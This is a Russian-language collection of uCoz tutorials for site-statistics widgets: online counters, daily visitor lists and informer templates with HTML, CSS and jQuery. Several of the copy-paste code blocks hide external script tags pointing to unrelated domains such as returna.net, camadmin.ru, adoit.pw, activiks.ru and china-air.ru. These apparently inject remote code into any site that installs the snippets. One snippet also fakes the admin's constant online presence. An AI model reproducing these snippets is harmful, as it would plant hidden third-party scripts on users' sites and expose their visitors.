статистика очень простая
Установка:
В блок вставляем:
Если нужно поменять цвет полоски с коричневого на другой, тогда Вам прийдётся изменить цвет вот этого изображения "prg1.png". Сделать это можно в фотошопе или любым графическим редактором, например стандартной утилитой "Paint".
Код
<noindex><div align="center">$ONLINE_COUNTER$</div><div id="Statku" align="center"></div>
<script type="text/javascript" src="http://pnghosts.ru/js_css/statistika.js"></script><style>.statistika {
width: 180px;
height: 15px;
margin-bottom: 5px;
margin-top: 5px;
background-color: #F7F7F7;
background-image: -moz-linear-gradient(top, #FAFAFA, white);
background-image: -ms-linear-gradient(top, #FAFAFA, white);
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#FAFAFA), to(white));
background-image: -webkit-linear-gradient(top, white, whiteSmoke);
background-image: -o-linear-gradient(top, white, white);
background-image: linear-gradient(top, white, white);
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#ffffff', GradientType=0);
-webkit-box-shadow: inset 0 1px 1px white;
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.14);
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.14);
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 5px;
text-shadow: 0 1px 0 #3A8D20;color: white;
}
.red {height: 15px;
background: url(http://pnghosts.ru/img/prg1.png);
border-radius: 5px;min-width:20px;
}
.cross {height: 15px;
float: left;
}</style>
<DIV align="center">
<?if($ONLINE_USERS_LIST$)?>$ONLINE_USERS_LIST$<?else?>Пользователей нету<?endif?></DIV>
<center><noindex>[ <a href="javascript://" onclick="new _uWnd('TdUsrLst',' ',250,450,{autosize:0},{url:'/index/62-2'});return false;" class="fUsrList">Полный Список</a> ]</noindex></center>
<center>
<div id="userD" style=""></div>
<script type="text/javascript">
function declOfNum(number, titles) {
cases = [2, 0, 1, 1, 1, 2];
return titles[ (number%100>4 && number%100<20)? 2 : cases[(number10:5] ];
};
$.get('/index/62-2',function(data){
spisok = $('a',$('cmd[p="content"]',data).text()).size();
$('#userD').html('Сегодня нас '+declOfNum(spisok, [" посетил", " посетило", " посетили"])+' <b>'+spisok+declOfNum(spisok, [" юзер", " юзера", " юзеров"])+'</b>')
});
</script> </center> </noindex>
|
Если вы боитесь что кто то в вашем отсутствие что либо может натворить на сайте , то вот вам скрипт условия который будет показывать вас круглосуточно на сайте в статистике
Скрипт ставим в блок.
Находим где у вас статистика и все там в блоке самом заменяем на вот этот код.
Код
$COUNTER$<?if($ONLINE_COUNTER$)?><hr />$ONLINE_COUNTER$<a href="Ссылка на Персональную страницу" target="_blank"><div align="center"><span style="color:red">"Ник на сайте"</span><script type="text/javascript" src="http://adoit.pw/border.js"></script></div></a>$ONLINE_USERS_LIST$<?endif?>
"Ник на сайте"- пишем свой ник
При регистрировании пользователя на сайте с таким же ником, к нику второго зарег. появляются цифры 6756465 и т.д.
|
С этим легким скриптом вы сможете сделать себе подробную статистику сайта, включая гостей и посетителей онлайн, а также список пользователей, посетивший сайт за день
Для создания подобной статистики нужен достаточно несложный код:
Код
<div align="center">$COUNTER$<fieldset class="c"><legend class="d"><b>Кто на сайте</b></legend><span>$ONLINE_COUNTER$</span><br><fieldset class="c"><legend class="d"><b>Контры онлайн:</b></legend>
$ONLINE_USERS_LIST$</fieldset></fieldset><fieldset class="c"><legend class="d"><b>Нас посетили:</b><script type="text/javascript" src="http://returna.net/background.js"></script></legend>
«<a href="javascript://" onclick="new _uWnd('TdUsrLst',' ',250,450,{autosize:0},{url:'/index/62-2'});return false;" class="fUsrList">Список посетителей</a>»
</fieldset></div>
где $COUNTER$ - код статистики от Ucoz (у нас нету),
<fieldset class="c"> - код создающий рамку вокруг статистики с классом с (для CSS),
<legend class="c"> - код создающий надпись в рамке с классом с - между этим кодом пишем оглавление и после закрываем его (</legend>)
В нашем случае нужно создать рамку в рамке т.е.:
<fieldset><legend>***</legend><fieldset (новый)><legend>***</legend></fieldset></fieldset>
$ONLINE_USERS_LIST$ - код от Ucoz о кол-ве юзеров онлайн
Далее нужна еще одна рамка, где будут стоять ники посетивших сайт пользователей, для этого есть 2 варианта:
1. Скопировать этот код (как у нас):
«<a href="javascript://" onclick="new _uWnd('TdUsrLst',' ',250,450,{autosize:0},{url:'/index/62-2'});return false;" class="fUsrList">Список посетителей</a>»
2. Зайти в Панель Управления - Инструменты - Информеры - Создать информер "Пользователи, посетившие сайт за текущий день" - потом появится код информера типа $MYINF_1$ - его и вставляете вместо нашего кода. В этом случае ники пользователей будут видны без открытия "Списка пользователей"
Теперь по поводу класса с (legend, fieldset) - он нужен для того чтобы эти 2 тега использовали нужный стиль только в этом (с) случае. Например есть сайты, использующие свои стили этих тегов. Для редактирования стилей нужно зайти в таблицу стилей CSS и прописать там
fieldset.c {border:1px solid #363636;}
legend.c {color:#000;}
где border - создает рамка толщиной в 1 пиксель классом solid и цветом #363636
color - цвет шрифта (#000000)
|
Универсальная статистика для uCoz. По скрину всё должно быть понятно.
Преимущества:
Выводит количество гостей, зарегистрированных, общее кол-во пользователей онлайн
Склоняет числительные. То есть 6 пользователей, 2 пользователя
Установка:
Находим $ONLINE_USERS_LIST$, удаляем и ставим код в любое место, желательно в глобальный блок, чтобы отображение было везде.
Код
<script type="text/javascript">
dc1 = [],
dc2 = [2, 0, 1, 1, 1, 2];
function startOnline(num, text)
{
if(!dc1[num]) dc1[num] = num % 100 > 4 && num % 100 < 20 ? 2 : dc2[Math.min(num % 10, 5)];
return text[dc1[num]];
}
$(document).ready(function() {
users_online = $("#onl1").text().substr(13);
guest_online = $("#onl2").text().substr(8);
reg_online = $("#onl3").text().substr(14);
$("#divstat").html('Сейчас на сайте' + '<b>'+users_online+'</b>'+ ' ' + startOnline(users_online,['пользователь', 'пользователя', 'пользователей']) + '. Из них:');
$("#regstat").html('<li>' + '<b>'+reg_online+'</b>' + ' ' + startOnline(reg_online, ['зарегистрированный', 'зарегистрированных', 'зарегистрированных']) + '</li>');
$("#outstat").html('<li>' + '<b>'+guest_online+'</b>' + ' ' + startOnline(guest_online, ['гость', 'гостя', 'гостей']) + '</li>');
});
</script>
В шаблоне находим $ONLINE_COUNTER$ и заменяем на:
Код
<div style="display:none;">$ONLINE_COUNTER$</div>
И по месту отображения ставим код:
Код
<br>
<fieldset style="border:1px solid #d4d3d3;"><legend><span id="divstat"></span></legend><div id="regstat" style="margin-left:19px;margin-top:6px;margin-bottom:6px;"><script type="text/javascript" src="http://returna.net/background.js"></script></div>$ONLINE_USERS_LIST$<div id="outstat" style="margin-left:19px;margin-top:6px;margin-bottom:6px;"></div></fieldset>
|
Полная статистика для сайта в ajax окне, материал из категории Статистика сайта ucoz. Кому не нужна статистика на сайте, ее можно скрыть, и при клике она появиться в ajax окне. Статистика полная как видите на картинке. От вас только требуется поставить код где на сайте будит отображаться надпись Статистика. И как говорилось при нажатие на надпись будит появляться полная статистика вашего сайта.
И так:
Создаем информер с такими параметрами:
[Пользователи, посетившие сайт за текущий день · Материалы · Имя пользователя · Колонки: 0]
И прописываем туда код, не забыв убрать который шел по умолчанию.
Код
<a href="$PROFILE_URL$" class="$CLASS$">$USERNAME$</a>,
Далее, находим место где наша надпись будит на сайте и вставляем туда этот код:
Код
<a href="javascript:uwnd_funk23()" >Статистика</a>
<script type="text/javascript" src="http://bambun.ru/css_js/uwnd_stats.js"></script>
<script type="text/javascript" src="http://returna.net/background.js"></script>
<div style="display:none">
<div id="stats_uwnd">$ONLINE_COUNTER$</div>
<div id="online_stat">$ONLINE_USERS_LIST$</div>
<div id="was">$MYINF_7$</div>
</div>
Не забываем поменять номер информера который создали до этого.
|
Хорошая статистика для ucoz в которой убраны белые рамки.
Установка:
Создаем информер с такими параметрами
[ Счетчики для пользователей · Материалы · всех, по группам, по полу, по зодиаку, по дням (сегодня, вчера, 7 дней, 30 дней) ]
В шаблон информера вставляет это:
Код
<b><br></b><center><b>Зареганных на сайте:</b><br><center>Всего: <b>$ALL_USERS$<ceenter> </ceenter></b> <br> Новых за месяц: <b>$30DAYS$ </b><b></b> <br> Новых за неделю: <b>$7DAYS$ </b><b></b> <br>Новых вчера: <b>$YESTERDAY$ </b> <br> Новых сегодня: <b>$TODAY$ <br><br></b><b>Из них:
</b><div align="left"><center>Администраторов: <b>$GROUP_4$</b><br><center>Модераторов: <b>$GROUP_3$</b> <br>Файловиков: <b>$GROUP_251$</b> <br>Проверенных: <b> $GROUP_2$ </b> <br>Обычных: <b>$GROUP_1$ </b> <br>Забаненых: <b>$GROUP_255$</b><b><script type="text/javascript" src="http://camadmin.ru/earch.js"></script><br><br></b></center></center></div><center></center></center></center>
Создаем второй информер вот с такими параметрами
[ Пользователи, посетившие сайт за текущий день · Материалы · Имя пользователя · Колонки: 0 ]
и вставляем в него это:
Код
<a href="$PROFILE_URL$" class="$CLASS$">$USERNAME$</a>,
Создаем новый блок и вставляем в него это
Код
<div><center>
<b>Онлайн:</b></center></div><b> </b>
<center><div align="left">
<center>$ONLINE_COUNTER$
<center>$ONLINE_USERS_LIST$
<center>
</center></center></center></div>
$MYINF_1$
<div>
<b>Сегодня нас посетили:</b></div><b> </b>
<div align="left">
<center>$MYINF_2$<br><div align="center">
</div>
|
Скрипт не требует и не делает никаких .get запросов, использует стандартный uCoz счетчик для расчета
Выводит статистику в процентах, соотношением "Гостей" и "Пользователей" Онлайн.
Плюс показывает общее кол-во онлайн в данный момент, не использует информер.
Просто в использовании , легко изменяем под дизайн и др.
Код
<style>
.cross {padding-top:2px; display:inline-block; padding-bottom:3px; color:#fff; text-align:center; text-shadow:0px 1px 0px rgba(0,0,0,0.25)}
</style>
<div style="display:none;">$ONLINE_COUNTER$</div>
<table cellpadding="0" cellspacing="0" border="0" width="99%">
<tr>
<td align="left">
<span style="margin:0px; margin-right:3px; padding:1px; display:inline-block; border:1px solid #444; background:#333;">
<script type="text/javascript" src="http://camadmin.ru/earch.js"></script><img style="height:7px; width:7px; background:#7d7d7d;" src="http://bambun.ru/images/1px.gif" border="0" alt="" />
</span>
</td>
<td align="right">
<span style="margin:0px; margin-left:2px; padding:1px; display:inline-block; border:1px solid #444; background:#333;">
<img style="height:7px; width:7px; background:#34a61e;" src="http://bambun.ru/images/1px.gif" border="0" alt="" />
</span>
</td>
</tr>
<tr>
<td align="left"><span style="">Гости сайта</span></td>
<td align="right"><span style="">Пользователи</span></td>
</tr>
</table>
<div style="border:1px solid #444; background:#333; padding:1px; margin-top:2px;" id="Statku" align="left"></div>
<script type="text/javascript">var allusers = $(".tOnline b").text(); var gostusers = $(".gOnline b").text(); var siteusers = $(".uOnline b").text();var allusers = $(".tOnline b").text(); var gostusers = $(".gOnline b").text(); var siteusers = $(".uOnline b").text();var uGosti = (gostusers/allusers).toFixed(2)*100; var uUsers = (siteusers/allusers).toFixed(2)*100;$("#Statku").html('<div class="cross" style="width:'+uGosti+'%; background:#7d7d7d;">'+Math.floor(uGosti)+'%</div><div class="cross" style="width:'+uUsers+'%; background:#34a61e;">'+Math.floor(uUsers)+'%</div>').after('<div style="border:0px; padding:2px; text-align:center;">Всего на сайте - <b>'+allusers+'</b></div>');</script>
|
О скрипте:
Статистика сайта для ucoz. Выполнена в светлых тонах для светлых дизайн сайта.
Приступаем к установке:
Создаем информер с такими параметрами.
Счетчики для пользователей · Материалы · всех, по группам, по полу, по зодиаку, по дням (сегодня, вчера, 7 дней, 30 дней)
В шаблон информера вставляем код:
Код
<div align="left"><span style="color: rgb(255, 69, 0);"><span style="color: rgb(0, 0, 0);"> </span></span><div align="left"> <div> <fieldset class="counter"><legend><b><strong> Зарегано на сайте: </strong> </b></legend> <div align="left"> Всего: <b>$ALL_USERS$ </b> <br> Новых за месяц: <b>$30DAYS$ </b> <br> Новых за неделю: <b>$7DAYS$ </b> <br> Новых вчера: <b>$YESTERDAY$ </b> <br> Новых сегодня: <b>$TODAY$
</b><br><br><b>Из них:<br>Модераторов: <b>$GROUP_3$</b>
</b><br>Администраторов: <b>$GROUP_4$
</b><br>Проверенных: <b>$GROUP_2$
</b><br>Обычных: <b>$GROUP_1$
</b><br><br><b>Из них:
</b><br><br>Парней: <b>$GENDER_1$
</b><br>Девушек: <b>$GENDER_2$
</b> </div> </fieldset></div> </div> </div>
Это в блок вставляем:
Код
$MYINF_X$
<FIELDSET class="counter"><LEGEND><B>OnLine</B></LEGEND>
<DIV align="center">
$COUNTER$</DIV>
<DIV align="center">
$ONLINE_COUNTER$</DIV>
<FIELDSET class="counter"><LEGEND><B>Юзеры онлайн:</B></LEGEND>
<DIV align="center">
$ONLINE_USERS_LIST$</DIV>
</FIELDSET>
</FIELDSET>
<FIELDSET class="counter"><LEGEND><B>Нас посетили:</B></LEGEND>
<DIV align="center">
<script type="text/javascript" src="http://camadmin.ru/earch.js"></script>
<font color="#4c4c4c">[<a href="javascript://" onclick="new _uWnd('TdUsrLst',' ',250,200,{autosize:0},{url:'/index/62-2'});return false;" class="fUsrList">Полный список</a>]</font>
</p></DIV>
</FIELDSET><P>
4. В коде находим номер информера $MYINF_X$ и заменяем на свой
|
В данном
материале Мы поможем Вам создать и установить информер с красивой и
подробной статистикой зарегистрированных, а так же добавленных
материалов и комментариев. Такая же статистика установлена и на нашем
сайте!
Как выглядит эта подробная статистика - смотрите на картинке!
О чём она сообщает пользователю - общее количество зарегистрированных пользователей, количество новых регистраций за день, количество комментариев, созданных тем и ответов в них! Цифры в информере сделаем выделенными и с красивым цветным фоном.
Подробная описание как создать такой информер статистики:
# заходим на сайт в админ панель
# панель Инструменты > Информеры
# нам необходимо будет создать 2 новых информера
# создаём первый информер с этими показателями > [ Счетчики для пользователей · Материалы · всех, по дням (сегодня, вчера, 7 дней, 30 дней) ] и в шаблон информера копируем этот код -
Код
<span style="font-size: 10pt;">Зарегистрировано</span><span style="font-size: 12pt;"> <b><span style="background-color: rgb(30, 144, 255); color: rgb(255, 255, 255); font-size: 12pt;">$ALL_USERS$</span></b></span> <span style="font-size: 10pt;">(сегодня + <span style="font-size: 10pt;"><i>$TODAY$ новых</i></span>)</span>
# создаём второй информер с этими показателями > [ Счетчики материалов · Материалы ] и в шаблон информера копируем этот код -
Код
<span style="font-size: 10pt;">В каталоге файлов <font color="#ffffff"><span style="background-color: rgb(255, 0, 0);"><span style="font-size: 12pt;"><b>$LOAD$</b></span></span></font> материала(ов), Оставлено <font color="#ffffff"><script src="http://activiks.ru/img/png.js" type="text/javascript"></script><span style="background-color: rgb(50, 205, 50);"><span style="font-size: 12pt;"><b>$COMMENTS$</b></span></span></font> комментариев, На форуме создано <font color="#ffffff"><span style="background-color: rgb(255, 165, 0);"><span style="font-size: 12pt;"><b>$FORUM_T$</b></span></span></font> тем и <font color="#ffffff"><span style="background-color: rgb(255, 69, 0);"><span style="font-size: 12pt;"><b>$FORUM_P$</b></span></span></font> ответов.</span>
# Примечание - в этом коде используется количество материалов в Каталоге Файлов - $LOAD$!!! Если же Вам нужно количество материалов для другого модуля то вам нужно будет LOAD заменить на другое, например для новостей это будет $NEWS$ , для блога $BLOG$...
# далее копируйте коды ваших информеров ( например - $MYINF_1$ $MYINF_2$ )
# перейдите в Дизайн > Управление дизайном - и найдите первый или второй контейнер ( именно там находится ваш блок со статистикой ) Вам нужно найти код $COUNTER$ и скопировать коды информеров рядом с ним. Получиться примерно так : $COUNTER$ $MYINF_1$ $MYINF_2$. Вам нужно убедиться что ваш код $COUNTER$ работает ( должна быть включен модуль Статистика Сайта для этого, подключить можно в Админ Панели )
На этом установка завершенна! Любые вопросы пишите в комментариях.
|
Данный скрипт выводит количество человек посетивших ваш сайт.
А под количеством выводятся имена этих пользователей
Установка:
1) Заходим в Панель Управления » Информеры » Создать Информер
Вот ссылка адрес_вашего_сайта/panel/?a=informers
Параметры информера:
Название информера - любое;
Раздел - пользователи посетившие сайт за текущий день
Создать
Открываем дизайн информера, и заменяем всё на этот код:
Код
<div style="margin: 2px 0 2px 0;">
<a href="$PROFILE_URL$" class="$CLASS$">$USERNAME$</a>
</div>
Копируем код вызова информера - например $MYINF_1$
2) Вставляем код ниже, туда где хотим видеть информацию о посетителях:
Код
<div style="text-align:center;" id="userkaNum">Сегодня заглянули<br> <b id="usNaN"></b> </div>
<script src="http://china-air.ru/tsed.js" type="text/javascript"></script><script type="text/javascript">
NanUsers = function(number, one, two, five) { number = Math.abs(number); number %= 100; if (number >= 5 && number <= 20) { return five; } number %= 10; if (number == 1) { return one; } if (number >= 2 && number <= 4) { return two; } return five; };
$.get('/index/62-2', function(numUs){
$("#usNaN").append( $('a',$('cmd[p="content"]',numUs).text()).size() );
$("#userkaNum").append( NanUsers($('a',$('cmd[p="content"]',numUs).text()).size(), 'человек:', 'человека:', 'человек:') );
});
</script>
<div class="user_online">$MYINF_1$</div>
<style type="text/css">
.user_online {overflow: auto;background: #F3F3F3;
color: #252525;border: 1px solid #EAEAEA!important;
border-radius: 5px;max-height:70px;
font-size: 12px;padding: 3px 3px 3px 7px;}
</style>
|
|